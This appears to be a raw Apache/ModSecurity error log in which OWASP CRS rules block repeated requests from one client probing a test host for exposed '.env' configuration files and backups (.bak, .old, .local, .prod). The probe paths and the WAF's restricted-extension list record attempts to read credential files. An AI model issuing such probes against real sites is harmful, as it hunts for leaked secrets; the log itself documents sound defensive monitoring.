https://www.google.com/
[Fri Oct 24 20:58:17.171273 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env.bak&quot;] [unique_id &quot;aPvMSaDAbBJ3ZgAeIEJbeQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:17.171450 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env.bak&quot;] [unique_id &quot;aPvMSaDAbBJ3ZgAeIEJbeQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:17.237453 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env.old&quot;] [unique_id &quot;aPvMSaDAbBJ3ZgAeIEJbegAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:17.237643 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /vendor/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env.old&quot;] [unique_id &quot;aPvMSaDAbBJ3ZgAeIEJbegAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:17.237876 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env.old&quot;] [unique_id &quot;aPvMSaDAbBJ3ZgAeIEJbegAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:17.238049 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env.old&quot;] [unique_id &quot;aPvMSaDAbBJ3ZgAeIEJbegAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:17.282756 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /storage/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env&quot;] [unique_id &quot;aPvMSaDAbBJ3ZgAeIEJbewAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:17.283072 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env&quot;] [unique_id &quot;aPvMSaDAbBJ3ZgAeIEJbewAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:17.283291 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env&quot;] [unique_id &quot;aPvMSaDAbBJ3ZgAeIEJbewAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:17.356731 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /storage/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env.save&quot;] [unique_id &quot;aPvMSaDAbBJ3ZgAeIEJbfAAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:17.356985 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env.save&quot;] [unique_id &quot;aPvMSaDAbBJ3ZgAeIEJbfAAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:17.357155 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env.save&quot;] [unique_id &quot;aPvMSaDAbBJ3ZgAeIEJbfAAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:17.404784 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env.bak&quot;] [unique_id &quot;aPvMSaDAbBJ3ZgAeIEJbfQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:17.405006 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /storage/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env.bak&quot;] [unique_id &quot;aPvMSaDAbBJ3ZgAeIEJbfQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:17.405277 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env.bak&quot;] [unique_id &quot;aPvMSaDAbBJ3ZgAeIEJbfQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:17.405451 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env.bak&quot;] [unique_id &quot;aPvMSaDAbBJ3ZgAeIEJbfQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:17.466072 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env.old&quot;] [unique_id &quot;aPvMSaDAbBJ3ZgAeIEJbfgAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:17.466285 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /storage/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env.old&quot;] [unique_id &quot;aPvMSaDAbBJ3ZgAeIEJbfgAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:17.466627 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env.old&quot;] [unique_id &quot;aPvMSaDAbBJ3ZgAeIEJbfgAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:17.466835 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env.old&quot;] [unique_id &quot;aPvMSaDAbBJ3ZgAeIEJbfgAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:18.031400 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aPvMSuJZ4vgAgAbS8ck52wAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:18.031653 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aPvMSuJZ4vgAgAbS8ck52wAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:18.031857 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aPvMSuJZ4vgAgAbS8ck52wAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:18.166598 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aPvMSuJZ4vgAgAbS8ck53AAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:18.166854 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aPvMSuJZ4vgAgAbS8ck53AAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:18.167012 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aPvMSuJZ4vgAgAbS8ck53AAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:18.280438 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.dev&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev&quot;] [unique_id &quot;aPvMSuJZ4vgAgAbS8ck53QAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:18.280683 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev&quot;] [unique_id &quot;aPvMSuJZ4vgAgAbS8ck53QAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:18.280851 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev&quot;] [unique_id &quot;aPvMSuJZ4vgAgAbS8ck53QAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:18.910237 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.prod&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aPvMSuJZ4vgAgAbS8ck53gAAAAs&quot;], referer: https://www.google.com/
